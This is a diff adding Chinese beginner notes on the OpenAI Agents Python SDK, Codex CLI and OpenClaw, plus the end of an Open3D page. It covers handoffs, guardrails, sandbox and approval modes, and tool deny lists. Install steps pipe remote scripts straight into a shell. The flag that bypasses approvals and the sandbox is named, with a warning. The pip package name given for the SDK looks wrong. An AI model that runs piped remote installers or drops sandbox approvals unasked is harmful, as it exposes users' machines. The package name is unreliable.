+4. **颜色通道范围**：`colors` 期望 0–1 浮点；把 0–255 uint8 直接赋值会导致可视化全白或全黑。
+
+5. **`geometry` 与 `t.geometry` 混用**：Tensor 点云不能直接与 legacy API 的某些函数混调，先 `to_legacy()` 或统一迁 Tensor。
+
+6. **与 [[draco]] / [[gltf-transform]] 的职责**：Draco 压缩传输；Open3D 不替代 glTF 资产优化，但可读部分 glTF 网格做点云采样。
+
+7. **无头服务器可视化**：`draw_geometries` 需要显示环境；服务器上用 `o3d.io.write_image` 离屏渲染或导出 PLY 到本地查看。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- LiDAR / RGB-D 点云预处理、标注前可视化
+- 多帧扫描配准、粗重建与 TSDF 融合教学
+- 从 mesh 采样点云喂给深度学习
+- 快速验证 RANSAC、聚类、包围盒等几何算法
+
+**不适用**：
+
+- 游戏运行时渲染（用 [[godot]] / [[filament]] 等）
+- 复杂带骨骼动画的模型管线（用 [[assimp]] + DCC）
+- 生产级 CAD 建模（用 [[freecad]] / 商业 CAD）
+- 仅需 2D 图像处理（用 [[opencv]]）
+
+## 历史小故事（可跳过）
+
+- **2018**：Open3D 0.1 发布，Intel VCL 与 CMU 等联合推动「3D 数据处理像 OpenCV 一样好用」
+- **2020s**：Tensor 模块、GPU 加速、RGB-D SLAM 与重建管线持续扩展；Python 3.10+ 支持，3.6 退役
+- **社区**：除 GitHub 本体外，[Open3D-ML](https://github.com/isl-org/Open3D-ML) 提供 PointNet++ 等分割/检测示例
+- **许可**：MIT，可嵌入商业机器人与测绘产品
+
+## 学到什么
+
+1. **Open3D 的价值是「几何算法 + Python 可视化」一体**，不是通用 3D 引擎
+2. **点云管线几乎总是：I/O → 下采样 → 去离群 → 法线 → 具体任务（分割/配准/重建）**
+3. **ICP 质量取决于初始位姿、体素尺度与 `max_correspondence_distance` 三者的配合**
+4. **新特性在 Tensor API**；legacy `geometry` 仍适合教程与脚本原型
+5. **与 Assimp/PCL/Blender 各管一段**，串成完整 3D 数据流水线
+
+## 延伸阅读
+
+- 官方文档：[Open3D 0.19+ documentation](http://www.open3d.org/docs/release/)
+- 点云入门教程：[Point cloud](http://www.open3d.org/docs/release/tutorial/geometry/pointcloud.html)
+- ICP 教程：[ICP registration](http://www.open3d.org/docs/release/tutorial/t_pipelines/t_icp_registration.html)
+- Tensor 点云：[Tensor-based point cloud](http://www.open3d.org/docs/release/tutorial/t_geometry/pointcloud.html)
+
+## 关联
+
+- [[pcl]] —— 学术点云算法全集，C++ 原生，与 Open3D 功能重叠但生态不同
+- [[assimp]] —— 多格式 3D 模型导入，可导出 mesh 再交 Open3D 采样
+- [[draco]] —— 网格/点云压缩，传输层与 Open3D 几何处理互补
+- [[gltf-transform]] —— glTF 资产优化，与 Open3D 网格 I/O 可串联
+- [[opencv]] —— RGB-D 深度图预处理、相机标定常与 Open3D 点云生成配合
+- [[pytorch]] —— 点云深度学习训练；Open3D 常做数据前处理
+- [[blender]] —— 高质量渲染与手工编辑；Open3D 做算法验证与批处理
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/projects/openai-agents-python.md b/src/content/docs/projects/openai-agents-python.md
new file mode 100644
index 000000000..4a9fe1b1a
--- /dev/null
+++ b/src/content/docs/projects/openai-agents-python.md
@@ -0,0 +1,278 @@
+---
+title: OpenAI Agents Python — 零基础学习笔记
+来源: https://github.com/openai/openai-agents-python
+日期: 2026-06-13
+分类: 机器学习
+子分类: 数据科学与 AI
+provenance: pipeline-v3
+---
+
+# OpenAI Agents Python — 零基础学习笔记
+
+## 什么是 Agent？
+
+先想象一个场景：你让朋友去计划一次东京之旅，说"帮我规划 3 月 28 日到 4 月 7 日的东京行程，包含京都和大阪"。
+
+你的朋友不会直接给你一个答案，而是会做这些事：
+
+1. 先上网查东京的天气
+2. 再搜索景点推荐
+3. 然后查酒店价格
+4. 最后把所有信息整理成一份行程
+
+这个过程——**自己决定做什么、查什么、怎么组合信息来完成任务**——就是 AI Agent 的核心思想。
+
+传统 AI 聊天机器人你问一句它答一句。Agent 则不同：它能**自主拆解任务、调用工具、循环执行**，最终给出完整答案。
+
+## OpenAI Agents Python 是什么？
+
+OpenAI 官方开源的 Python SDK，用来构建多 Agent 应用。它的设计理念非常轻量——不发明新轮子，而是把已有的好东西（LLM 调用、工具系统、手递手交接）用最简洁的方式组合起来。
+
+安装：`pip install agents`
+
+## 核心概念
+
+### 1. Agent — 有专长的工作人员
+
+Agent 是你创建的"工作人员"。每个 Agent 有名字、有指令（告诉它该干什么）、可以选择用哪个模型。
+
+类比：想象一家餐厅，Agent 就是这里的员工。有的负责前台接待（_triage agent_），有的负责炒菜（工具型 Agent），有的专门说法语（语言专精 Agent）。
+
+```python
+from agents import Agent
+
+history_agent = Agent(
+    name="History Tutor",
+    instructions="You answer history questions clearly and concisely.",
+)
+
+math_agent = Agent(
+    name="Math Tutor",
+    instructions="You explain math step by step and include worked examples.",
+)
+```
+
+### 2. Runner — 派活的经理
+
+创建好 Agent 之后，需要用 `Runner` 来让它干活。`Runner.run()` 是异步版本，`Runner.run_sync()` 是同步版本。
+
+```python
+from agents import Runner
+
+result = Runner.run_sync(history_agent, "Who was the first president of the United States?")
+print(result.final_output)
+```
+
+`result.final_output` 就是 Agent 给出的最终答案。
+
+### 3. Handoff（手递手交接）— 同事之间转交任务
+
+这是 OpenAI Agents 最独特的功能。当一个 Agent 发现自己搞不定某个问题时，可以把任务"交接"给另一个更专业的 Agent。
+
+类比：医院分诊台。病人来了，分诊护士（triage agent）先问几句，然后决定把病人转给心内科、骨科还是眼科医生。病人不需要自己猜该找谁，系统会自动分配。
+
+```python
+from agents import Agent
+
+history_agent = Agent(
+    name="History Tutor",
+    handoff_description="Specialist agent for historical questions",
+    instructions="You answer history questions clearly and concisely.",
+)
+
+math_agent = Agent(
+    name="Math Tutor",
+    handoff_description="Specialist agent for math questions",
+    instructions="You explain math step by step and include worked examples.",
+)
+
+triage_agent = Agent(
+    name="Triage Agent",
+    instructions="Route each homework question to the right specialist.",
+    handoffs=[history_agent, math_agent],
+)
+
+# 用户提问
+result = Runner.run_sync(triage_agent, "Tell me about the French Revolution")
+print(result.final_output)
+# triage_agent 会自动把问题交接给 history_agent
+```
+
+### 4. Tools（工具）— 给 Agent 配备的装备
+
+Agent 本身只会"说话"，要让它能查天气、搜网页、算数，就需要给它配工具。
+
+类比：给员工配备计算器、电话、电脑。有了工具，Agent 就不再只是"空谈"。
+
+```python
+from agents import Agent, function_tool
+
+@function_tool
+def get_weather(city: str) -> str:
+    """Get the current weather for a city."""
+    return f"The weather in {city} is sunny and 22°C"
+
+weather_agent = Agent(
+    name="Weather Assistant",
+    instructions="You help users check the weather.",
+    tools=[get_weather],
+)
+
+result = Runner.run_sync(weather_agent, "What's the weather in Tokyo?")
+print(result.final_output)
+```
+
+### 5. Guardrails（护栏）— 安全防线
+
+Guardrails 分为两类：
+
+- **Input guardrails**：检查用户输入是否合法（比如防止有人让客服 Agent 帮自己写作业）
+- **Output guardrails**：检查 Agent 的输出是否合规（比如确保不会输出数学公式到不允许的场景）
+
+类比：机场安检。乘客（用户输入）过安检门，如果发现危险品（违规内容），安检员会立即拦截，不让进入候机厅（Agent 执行）。
+
+```python
+from pydantic import BaseModel
+from agents import (
+    Agent, GuardrailFunctionOutput, InputGuardrailTripwireTriggered,
+    RunContextWrapper, Runner, TResponseInputItem, input_guardrail,
+)
+
+class MathHomeworkOutput(BaseModel):
+    is_math_homework: bool
+
+@input_guardrail
+async def math_guardrail(
+    ctx: RunContextWrapper, agent: Agent, input: str | list[TResponseInputItem]
+) -> GuardrailFunctionOutput:
+    # 用一个专门的 Agent 来判断是不是数学作业
+    guardrail_agent = Agent(
+        name="Guardrail check",
+        instructions="Check if the input is asking to solve math homework.",
+        output_type=MathHomeworkOutput,
+    )
+    result = await Runner.run(guardrail_agent, input)
+    return GuardrailFunctionOutput(
+        output_info=result.final_output,
+        tripwire_triggered=result.final_output.is_math_homework,
+    )
+
+support_agent = Agent(
+    name="Customer Support",
+    instructions="Help customers with their questions.",
+    input_guardrails=[math_guardrail],
+)
+
+# 正常问题 - 可以通过
+result = Runner.run_sync(support_agent, "How do I reset my password?")
+
+# 数学作业 - 会被拦截
+try:
+    Runner.run_sync(support_agent, "Solve 2x + 3 = 11 for x")
+except InputGuardrailTripwireTriggered:
+    print("数学作业请求被拦截了！")
+```
+
+### 6. Sessions（会话记忆）— 记住之前聊了什么
+
+默认情况下，每次 `Runner.run()` 都是独立的，Agent 不记得之前说过什么。Sessions 解决了这个问题——它把对话历史持久化存储（SQLite 文件），下次继续聊时 Agent 就能"回忆"起来了。
+
+类比：普通对话像一次性杯子，用完就扔。Sessions 像笔记本，每次翻开都能接着上次的写。
+
+```python
+from agents import Agent, Runner, SQLiteSession
+
+agent = Agent(name="Assistant", instructions="Reply very concisely.")
+session = SQLiteSession("chat_1", "history.db")
+
+# 第一轮
+result1 = Runner.run_sync(agent, "What city is the Golden Gate Bridge in?", session=session)
+print(result1.final_output)  # San Francisco
+
+# 第二轮 - Agent 记得上一轮说了旧金山
+result2 = Runner.run_sync(agent, "What state is it in?", session=session)
+print(result2.final_output)  # California
+```
+
+## 完整示例：多 Agent 客服系统
+
+把以上所有概念串起来，做一个简单的多 Agent 客服系统：
+
+```python
+import asyncio
+from agents import Agent, function_tool, Runner
+
+@function_tool
+def lookup_order(order_id: str) -> str:
+    """Look up order status by order ID."""
+    orders = {"ORD-123": "Shipped", "ORD-456": "Delivered"}
+    return orders.get(order_id, "Order not found")
+
+billing_agent = Agent(
+    name="Billing Specialist",
+    handoff_description="Handles billing and payment issues",
+    instructions="You help with billing issues. Always verify the order first.",
+    tools=[lookup_order],
+)
+
+refund_agent = Agent(
+    name="Refund Specialist",
+    handoff_description="Handles refund requests",
+    instructions="You process refunds. Be empathetic and efficient.",
+)
+
+triage_agent = Agent(
+    name="Triage Agent",
+    instructions=(
+        "Help the user with their questions. "
+        "If they ask about billing, hand off to billing agent. "
+        "If they ask about refunds, hand off to refund agent."
+    ),
+    handoffs=[billing_agent, refund_agent],
+)
+
+# 异步运行
+async def main():
+    result = await Runner.run(
+        triage_agent,
+        "I want to cancel my order ORD-123 and get a refund.",
+    )
+    print(f"最终回答: {result.final_output}")
+    print(f"由 {result.last_agent.name} 回答")
+
+asyncio.run(main())
+```
+
+这个系统的运行流程：
+
+```
+用户提问 → triage_agent 判断意图 → 交接给 refund_agent → refund_agent 处理 → 返回答案
+```
+
+## 关键参数速查
+
+| 参数 | 作用 | 类比 |
+|------|------|------|
+| `name` | Agent 的名字 | 员工的工牌姓名 |
+| `instructions` | 告诉 Agent 该干什么 | 岗位说明书 |
+| `model` | 选择底层模型 | 选用什么学历的员工 |
+| `tools` | 赋予 Agent 工具能力 | 配备的工作装备 |
+| `handoffs` | 可以转交给哪些同事 | 可转交的部门列表 |
+| `handoff_description` | 描述这个 Agent 擅长什么 | 转交时的说明卡片 |
+| `input_guardrails` | 输入安全检查 | 安检门 |
+| `output_guardrails` | 输出安全检查 | 出厂质检 |
+| `max_turns` | 最多循环几次 | 最多尝试多少次 |
+
+## 运行流程总结
+
+一个 Agent 运行的完整生命周期：
+
+```
+1. 创建 Agent（定义名字、指令、工具、交接对象）
+2. 调用 Runner.run() 或 Runner.run_sync()
+3. Agent 收到用户输入 → 决定是否需要工具 → 调用工具 → 拿到结果
+4. 如果需要交接，自动转给另一个 Agent
+5. 加上 Guardrails 检查输入输出
+6. 如果用了 Sessions，对话历史自动保存
+7. 返回最终答案
+```
diff --git a/src/content/docs/projects/openai-agents-sdk.md b/src/content/docs/projects/openai-agents-sdk.md
index 74180f976..6dca4be71 100644
--- a/src/content/docs/projects/openai-agents-sdk.md
+++ b/src/content/docs/projects/openai-agents-sdk.md
@@ -2,7 +2,7 @@
 title: OpenAI Agents SDK — 让多个 agent 协作的轻量框架
 来源: OpenAI Agents Python SDK 官方文档 https://openai.github.io/openai-agents-python/
 日期: 2026-05-31
-子分类: AI 工程
+子分类: ai-agent-infra
 分类: 机器学习
 难度: 初级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/openai-codex-cli.md b/src/content/docs/projects/openai-codex-cli.md
new file mode 100644
index 000000000..7a2d6a16e
--- /dev/null
+++ b/src/content/docs/projects/openai-codex-cli.md
@@ -0,0 +1,245 @@
+---
+title: OpenAI Codex CLI — 终端里的本地编程代理
+来源: 'OpenAI, "Codex CLI", https://developers.openai.com/codex/cli'
+日期: 2026-06-13
+分类: CLI
+子分类: 命令行工具
+provenance: pipeline-v3
+---
+
+## 是什么
+
+OpenAI Codex CLI 是 OpenAI 开源的**本地编程代理**：你在终端里用自然语言描述任务，它会在当前目录里读代码、改文件、跑命令，直到认为任务完成。实现语言是 Rust，主打启动快、占用低。
+
+日常类比：
+
+> 你雇了一位**坐在你电脑旁边的初级工程师**。
+> 你说「给登录接口加单元测试」，他会自己打开项目、翻文件、写测试、跑 `npm test`，每改一步都先问你「我可以执行这条命令吗？」——除非你明确放权。
+> 和 ChatGPT 网页版最大的区别是：**手长在本地文件系统和 shell 上**，不是只吐一段代码让你自己粘贴。
+
+Codex 家族其实有三张脸，别混：
+
+| 形态 | 入口 | 适合谁 |
+|------|------|--------|
+| **Codex CLI** | 终端 `codex` | 想在现有工作流里用代理、要脚本化/CI |
+| **Codex App** | 桌面应用 `codex app` | 喜欢图形界面、多项目切换 |
+| **Codex Cloud** | 浏览器 / `codex cloud` | 任务丢到云端环境，本地 `codex apply` 拉 diff |
+
+本篇只聚焦 **CLI**。
+
+## 为什么重要
+
+2025 年起，「AI 写代码」从聊天框迁到了**代理（agent）**范式：模型不只要生成文本，还要**规划 → 调工具 → 看结果 → 再规划**。Codex CLI 是 OpenAI 在这条线上的官方终端产品，和 Cursor Agent、Claude Code、Gemini CLI 同一赛道。
+
+值得学它的原因：
+
+- **订阅即用**：ChatGPT Plus / Pro / Business 等计划已包含 Codex 额度，不必单独买 API（也可用 API Key，但部分云功能受限）
+- **沙箱 + 审批**：默认限制 shell 权限，比「模型随便跑 `rm -rf`」安全一个数量级
+- **`codex exec` 可脚本化**：能塞进 CI、pre-commit、内部运维流水线
+- **MCP 生态**：通过 Model Context Protocol 接数据库、浏览器、文档站，扩展上下文边界
+- **开源可审计**：仓库在 [github.com/openai/codex](https://github.com/openai/codex)，行为比黑盒插件好排查
+
+## 安装与首次登录
+
+支持 macOS、Linux、Windows（Windows 可用原生沙箱或 WSL2）。
+
+**一行安装（macOS / Linux）：**
+
+```bash
+curl -fsSL https://chatgpt.com/codex/install.sh | sh
+```
+
+**Windows（PowerShell）：**
+
+```powershell
+powershell -ExecutionPolicy ByPass -c "irm https://chatgpt.com/codex/install.ps1 | iex"
+```
+
+也可用包管理器：
+
+```bash
+npm install -g @openai/codex
+# 或 macOS
+brew install --cask codex
+```
+
+装好后：
+
+```bash
+codex --version
+codex login          # 浏览器 OAuth 登录 ChatGPT，或 API Key
+codex login status   # 退出码 0 = 已登录，适合脚本探测
+```
+
+无交互安装（CI 装二进制）可设 `CODEX_NON_INTERACTIVE=1`。
+
+## 核心概念
+
+### 1. 交互式 TUI vs 非交互 `exec`
+
+- **`codex`**：全屏终端 UI（TUI），适合探索性开发——你能实时看到它读了哪些文件、拟执行什么命令，并逐条批准。
+- **`codex exec`**（别名 `codex e`）：**无人值守**模式，适合脚本和流水线；结束后把最终说明打到 stdout，可加 `--json` 输出事件流。
+
+### 2. 沙箱（sandbox）三档
+
+模型生成的 shell 命令会经过 OS 级沙箱（macOS Seatbelt、Linux Landlock+seccomp、Windows 受限令牌）：
+
+| 模式 | 含义 |
+|------|------|
+| `read-only` | 只能读，不能写文件、不能联网（默认偏保守） |
+| `workspace-write` | 可在工作区写文件，网络仍受限；**日常本地开发推荐** |
+| `danger-full-access` | 几乎不设限，仅应在容器/VM 里用 |
+
+本地顺手组合：
+
+```bash
+codex --sandbox workspace-write --ask-for-approval on-request
+```
+
+### 3. 审批（approval）
+
+`--ask-for-approval` 控制何时暂停等人点头：
+
+- `on-request`：交互式默认，有风险操作才问
+- `never`：给 `exec` / CI 用，必须配合严格沙箱
+- `untrusted`：更谨慎
+
+切忌在生产机上随便加 `--yolo`（`--dangerously-bypass-approvals-and-sandbox`）。
+
+### 4. 配置：`~/.codex/config.toml`
+
+持久默认值写 TOML，命令行 `-c key=value` 可单次覆盖。常见项：
+
+- 模型与推理强度（会话内也可用 `/model` 切换）
+- `sandbox_mode`
+- MCP 服务器列表
+- **profiles**：`~/.codex/<name>.config.toml` 叠加载入，用 `-p <name>` 切换「工作 / 开源 / 客户项目」配置
+
+### 5. 会话：resume / fork
+
+Codex 在本地保存 transcript。`codex resume` 接着上次聊，`codex fork` 从旧会话分叉新线程——长任务改需求时很有用，不必重讲一遍仓库结构。
+
+### 6. MCP（Model Context Protocol）
+
+`codex mcp add` 注册外部工具（stdio 子进程或 HTTP 服务）。Codex 也能**反向**当 MCP 服务器：`codex mcp-server`，让别的代理把 Codex 当工具调用。
+
+### 7. 项目指令：AGENTS.md
+
+在仓库根放 `AGENTS.md`（概念同 Cursor 的 rules），写清构建命令、测试约定、目录结构。Codex 会把它当**长期上下文**，减少「跑错包管理器」类低级错误。
+
+## 实践案例
+
+### 案例 1：交互式修一个 failing test
+
+```bash
+cd ~/projects/my-api
+codex --sandbox workspace-write --ask-for-approval on-request \
+  "tests/user.test.ts 里 'returns 404 for missing user' 失败了。先读测试和实现，修到 npm test 全绿，不要改公开 API。"
+```
+
+典型流程：
+
+1. Codex 用内置工具读文件、搜符号
+2. 提议修改 `src/routes/user.ts`，问你批准
+3. 提议运行 `npm test -- user.test.ts`，你确认
+4. 全绿后总结 diff
+
+TUI 里可用 `/model` 换模型或调 reasoning；贴截图用 `-i screenshot.png`。
+
+### 案例 2：CI 里用 `codex exec` 做自动修复草稿
+
+在 GitHub Actions 或自建 runner 上（务必隔离 runner）：
+
+```bash
+#!/usr/bin/env bash
+set -euo pipefail
+
+export CODEX_API_KEY="${OPENAI_API_KEY}"   # 若用 API Key 登录
+
+codex exec \
+  --sandbox workspace-write \
+  --ask-for-approval never \
+  --ephemeral \
+  --output-last-message /tmp/codex-summary.txt \
+  --json \
+  "Read the lint errors from 'npm run lint 2>&1' output below and apply minimal fixes only. Do not change behavior.
+
+$(npm run lint 2>&1 || true)"
+```
+
+说明：
+
+- `--ephemeral`：不落盘 session 文件，适合一次性 CI job
+- `--json`：机器可读事件，便于日志采集
+- `--output-last-message`：最后一句话写入文件，方便 PR 评论机器人读取
+- 管道内容：`echo "..." | codex exec "Summarize"` 时，stdin 会附在 prompt 后面
+
+更稳妥的做法是**只让 Codex 生成 patch**，由人来 `git apply`，而不是 `never` 审批全自动合并。
+
+### 案例 3：注册 MCP 服务器（Playwright 举例）
+
+```bash
+# 假设已配置好 @playwright/mcp
+codex mcp add playwright -- npx -y @playwright/mcp@latest
+
+codex mcp list
+```
+
+之后在 TUI 里可以让 Codex「打开本地 dev server 并点一遍结账流程」，浏览器操作走 MCP，而不是瞎编 DOM。
+
+### 案例 4：连接 Codex Cloud 任务
+
+```bash
+codex cloud list --json
+codex apply <TASK_ID>    # 把云端生成的 diff 应用到当前 git 工作区
+```
+
+适合：笔记本上发起任务，台式机拉结果；或 PR 里 `@codex` 触发云任务后再本地落地。
+
+## 常用命令速查
+
+```bash
+codex                          # 交互 TUI
+codex -C /path/to/repo "prompt" # 指定工作目录
+codex resume --last            # 继续当前目录最近一次会话
+codex exec "..."               # 非交互
+codex review                   # 本地代码审查（独立代理）
+codex doctor                   # 安装/配置/鉴权自检
+codex completion zsh           # 生成 shell 补全
+codex update                   # 自更新（release 构建）
+codex features list            # 查看 feature flag
+```
+
+## 与 Cursor / Claude Code 怎么选
+
+| 维度 | Codex CLI | IDE 内置代理（如 Cursor） |
+|------|-----------|---------------------------|
+| 界面 | 终端 TUI | 编辑器内嵌 |
+| 触发 | shell、CI 脚本 | 选中代码、侧边栏 |
+| 多文件编辑 | 强，靠代理循环 | 强，带 diff 预览 |
+| 非编码用户 | 门槛高 | 相对低 |
+
+很多团队是**组合使用**：日常在 Cursor 里写，夜间 CI 用 `codex exec` 尝试自动修 lint，或统一用 ChatGPT 订阅额度。
+
+## 踩过的坑
+
+1. **不在 Git 仓库里跑**：默认会检查 Git 根；临时目录要加 `--skip-git-repo-check`。
+2. **沙箱太严导致 `npm install` 失败**：需要写 `node_modules` 时用 `workspace-write`，别一直 `read-only`。
+3. **API Key 与 ChatGPT 登录能力不一致**：云任务、部分 OAuth 功能要 ChatGPT 账号；纯 API Key 读文档确认限制。
+4. **`--full-auto` 已废弃**：官方推荐 `--sandbox workspace-write`，旧脚本会打警告。
+5. **Windows 路径**：原生 PowerShell 沙箱已稳定，但 Linux 专属工具链仍建议 WSL2。
+6. **机密进 prompt**：代理会读文件、打日志；别把 `.env` 内容贴进任务，用环境变量 + `.gitignore` 隔离。
+
+## 延伸阅读
+
+- 官方 CLI 文档：<https://developers.openai.com/codex/cli>
+- 命令行完整参考：<https://developers.openai.com/codex/cli/reference>
+- 功能与工作流：<https://developers.openai.com/codex/cli/features>
+- 快速开始：<https://developers.openai.com/codex/quickstart>
+- 源码：<https://github.com/openai/codex>
+- 配置说明：`~/.codex/config.toml` 见官方 Config basics
+- 代理行为约定：仓库内 `AGENTS.md` 说明
+
+## 小结
+
+Codex CLI 把「会写代码的大模型」变成**能动手的工作区代理**：`codex` 负责结对编程，`codex exec` 负责自动化，`sandbox` + `approval` 负责安全边界，`MCP` 负责接外部世界。零基础上手路径很直——安装、`codex login`、在项目目录 `codex`，从一个小任务（修测试、加类型、写 README）开始，熟悉批准流程后再放开沙箱或写 CI 脚本。
diff --git a/src/content/docs/projects/openclaw.md b/src/content/docs/projects/openclaw.md
new file mode 100644
index 000000000..4e7102753
--- /dev/null
+++ b/src/content/docs/projects/openclaw.md
@@ -0,0 +1,410 @@
+---
+title: "OpenClaw 学习笔记 — 你的私人 AI 助手"
+来源: "https://github.com/openclaw/openclaw"
+日期: "2026-06-13"
+分类: 机器学习
+子分类: ai-infra
+provenance: "pipeline-v3"
+---
+
+# OpenClaw 学习笔记 — 你的私人 AI 助手
+
+## 一、日常类比：为什么需要 OpenClaw？
+
+想象一下：你有无数个手机 App — WhatsApp、Telegram、Slack、Discord、微信。你希望有一个 AI 助手，能同时出现在所有这些 App 里，你无论在哪发消息，它都能回应你。
+
+传统的 AI 工具（比如 ChatGPT 网页版）每次都要打开浏览器、输入网址、敲对话，像一个需要你"专门去找"的外包员工。
+
+OpenClaw 的做法是把 AI 助手变成你手机里"常驻"的同事 — 它跑在你自己的电脑上，像后台程序一样一直在线。你在哪个聊天软件里 @它，它就在哪里回应你。不需要打开任何网页。
+
+类比：如果说 ChatGPT 网页版是"去柜台办事"，那 OpenClaw 就是"派了个助理住在你家里"。
+
+## 二、核心概念
+
+### 2.1 Gateway（网关）
+
+Gateway 是 OpenClaw 的"大脑"，是一个运行在你本机上的后台服务（Daemon）。
+
+- 它保持 24 小时在线
+- 它连接所有你配置的聊天平台（WhatsApp、Telegram 等）
+- 它调用 AI 模型（OpenAI、Anthropic 等）来理解你的消息并回复
+
+类比：Gateway 就像一个翻译兼调度员，你发消息给它，它找 AI 模型翻译理解，再把回复送回去。
+
+### 2.2 Agent（智能体）
+
+Agent 是真正"思考"的部分。Gateway 接收到消息后，会交给 Agent，Agent 调用大语言模型（LLM）来生成回复。
+
+你可以配置不同的 Agent 来处理不同场景的消息。
+
+### 2.3 Channel（通道）
+
+Channel 是你和 AI 助手对话的"渠道"。OpenClaw 支持 20 多个渠道：
+
+- 即时通讯：WhatsApp、Telegram、Slack、Discord、iMessage、微信、QQ
+- 其他：IRC、Signal、Microsoft Teams、Matrix、Feishu（飞书）等
+- 平台：macOS、iOS、Android、Windows
+
+### 2.4 Skill（技能）
+
+Skill 是给 AI 助手增加的"专项能力"。
+
+- 内置技能（Bundled）：开箱即用
+- 工作区技能（Workspace Skills）：放在 `~/.openclaw/workspace/skills/` 下
+- 可自定义 SKILL.md 文件来描述技能的行为
+
+### 2.5 Session（会话）
+
+Session 是一次完整的对话上下文。每个对话拥有独立的会话，AI 能记住之前的聊天内容。
+
+### 2.6 Workspace（工作区）
+
+工作区（`~/.openclaw/workspace`）是 AI 助手的"家"。它存放配置文件、技能和提示词文件（AGENTS.md、SOUL.md、TOOLS.md），定义了助手的行为模式。
+
+## 三、安装与启动
+
+### 3.1 环境要求
+
+- Node.js 22.19+（推荐 24）
+- 支持 macOS、Linux、Windows
+
+### 3.2 一行安装
+
+```bash
+npm install -g openclaw@latest
+openclaw onboard --install-daemon
+```
+
+`onboard` 是一个交互式向导，会一步步引导你完成：
+
+1. 配置 AI 模型（填 API Key）
+2. 连接聊天平台（WhatsApp、Telegram 等）
+3. 设置技能
+4. 安装守护进程（Daemon），让 OpenClaw 开机自启
+
+安装完成后，守护进程会自动在后台运行，Gateway 就上线了。
+
+### 3.3 检查状态
+
+```bash
+openclaw gateway status
+```
+
+### 3.4 前台调试模式
+
+```bash
+openclaw gateway --port 18789 --verbose
+```
+
+## 四、配置详解
+
+### 4.1 基础配置
+
+OpenClaw 的配置文件在 `~/.openclaw/openclaw.json`。最简配置只需要指定 AI 模型：
+
+```json
+{
+  "agent": {
+    "model": "anthropic/claude-sonnet-4-20250514"
+  }
+}
+```
+
+`model` 字段格式是 `提供商/模型ID`。支持的提供商包括：
+
+- `anthropic/` — Claude 系列
+- `openai/` — GPT-4o、GPT-4.1 等
+- `google/` — Gemini 系列
+- `openrouter/` — 通过 OpenRouter 聚合多个提供商
+
+### 4.2 网关安全配置
+
+OpenClaw 连接的是真实的聊天平台，安全很重要。默认情况下，陌生人发给 AI 的消息不会被处理，需要先"配对"。
+
+```json5
+{
+  gateway: {
+    mode: "local",
+    bind: "loopback",
+    auth: {
+      mode: "token",
+      token: "你的随机密钥"
+    }
+  },
+  session: {
+    dmScope: "per-channel-peer"
+  },
+  tools: {
+    profile: "messaging",
+    deny: [
+      "group:automation",
+      "group:runtime",
+      "group:fs",
+      "sessions_spawn",
+      "sessions_send"
+    ],
+    fs: { workspaceOnly: true },
+    exec: {
+      security: "deny",
+      ask: "always"
+    }
+  },
+  channels: {
+    whatsapp: {
+      dmPolicy: "pairing",
+      groups: {
+        "*": { requireMention: true }
+      }
+    }
+  }
+}
+```
+
+上面的配置做了以下安全加固：
+
+1. Gateway 只监听本地（`loopback`），不暴露到网络
+2. 使用 Token 认证
+3. 会话按通道/用户隔离
+4. 关闭了危险的工具组（自动化、运行时、文件系统）
+5. WhatsApp 的 DM 策略设为 "pairing"（配对模式）
+
+### 4.3 技能管理配置
+
+```json5
+{
+  skills: {
+    allowBundled: ["gemini", "peekaboo"],
+    load: {
+      extraDirs: ["~/Projects/agent-scripts/skills"]
+    },
+    install: {
+      preferBrew: true,
+      nodeManager: "npm"
+    },
+    entries: {
+      "image-lab": {
+        apiKey: {
+          source: "env",
+          provider: "default",
+          id: "GEMINI_API_KEY"
+        }
+      },
+      peekaboo: {
+        enabled: true
+      },
+      sag: {
+        enabled: false
+      }
+    }
+  }
+}
+```
+
+## 五、常用命令行操作
+
+### 5.1 发消息
+
+```bash
+# 通过 WhatsApp 发送测试消息
+openclaw message send --target +1234567890 --message "Hello from OpenClaw"
+
+# 直接和 AI 对话
+openclaw agent --message "Ship checklist" --thinking high
+```
+
+### 5.2 MCP 工具管理
+
+MCP（Model Context Protocol）是 OpenClaw 连接外部工具的协议。
+
+```bash
+# 列出已配置的 MCP 服务器
+openclaw mcp list
+
+# 查看某个 MCP 服务器的详情
+openclaw mcp show context7 --json
+
+# 添加一个新的 MCP 服务器
+openclaw mcp add memory --command npx --arg -y --arg @modelcontextprotocol/server-memory
+
+# 诊断 MCP 连接状态
+openclaw mcp doctor --probe
+```
+
+### 5.3 会话管理
+
+```bash
+# 列出所有会话
+openclaw tasks
+
+# 查看运行中的任务
+openclaw tasks list --status running
+
+# 取消某个任务
+openclaw tasks cancel <lookup>
+```
+
+### 5.4 聊天中的快捷命令
+
+在任意聊天窗口中，AI 助手支持斜杠命令：
+
+| 命令 | 作用 |
+|------|------|
+| `/status` | 查看助手状态 |
+| `/new` | 开始新会话 |
+| `/reset` | 重置当前会话 |
+| `/compact` | 压缩上下文（节省 Token） |
+| `/think high` | 开启深度思考模式 |
+| `/verbose on` | 打开详细输出 |
+| `/restart` | 重启助手 |
+
+### 5.5 诊断与维护
+
+```bash
+# 运行健康检查
+openclaw doctor
+
+# 查看配置文件路径
+openclaw config file
+
+# 验证配置
+openclaw config validate
+```
+
+## 六、从源码开发
+
+如果你想在本地修改源码并调试：
+
+```bash
+git clone https://github.com/openclaw/openclaw.git
+cd openclaw
+
+# 安装依赖（必须用 pnpm）
+pnpm install
+
+# 首次设置
+pnpm openclaw setup
+
+# 开发循环模式（修改后自动重载）
+pnpm gateway:watch
+
+# 构建
+pnpm build
+pnpm ui:build
+```
+
+注意：从源码构建必须使用 `pnpm`，不支持 `npm install`。
+
+## 七、安全模型
+
+这是初学者最需要理解的部分。
+
+### 7.1 默认行为
+
+- 当你单独使用 OpenClaw（只有你和 AI）时，工具默认运行在你的本机环境上
+- 这意味着 AI 可以直接执行命令、读写文件 — 因为是你自己在用，所以风险可控
+
+### 7.2 沙箱隔离
+
+如果你在多人环境中使用，可以为非你自己的会话启用沙箱：
+
+```json
+{
+  "agents": {
+    "defaults": {
+      "sandbox": {
+        "mode": "non-main"
+      }
+    }
+  }
+}
+```
+
+这样，非你自己的会话会被限制在一个隔离环境中运行，不能访问你的文件系统、浏览器等敏感工具。
+
+### 7.3 DM 配对机制
+
